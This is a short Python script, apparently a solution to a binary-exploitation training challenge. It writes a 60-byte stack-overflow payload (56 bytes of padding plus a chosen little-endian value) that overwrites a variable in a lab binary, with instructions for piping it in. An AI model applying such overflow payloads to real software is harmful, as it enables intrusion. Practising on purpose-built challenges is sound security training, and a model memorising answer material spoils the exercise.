Binary Exploitation Variable Control Hard

binary_exploitation_variable_control_hard.py

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# HOW TO RUN:
# python3 binary_exploitation_variable_control_hard.py > /dev/null
# wc -c payload.bin
# /challenge/binary-exploitation-var-control < payload.bin
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import sys
import struct

padding = 56
win_value = 0x5a3c1e5a

payload = b"A" * padding + struct.pack("<I", win_value)

max_payload_length = 60
assert len(payload) <= max_payload_length, "Payload is too long and will overwrite lose_variable"

payload = payload.ljust(max_payload_length, b"B")

with open("payload.bin", "wb") as f:
    f.write(payload)

sys.stdout.buffer.write(payload)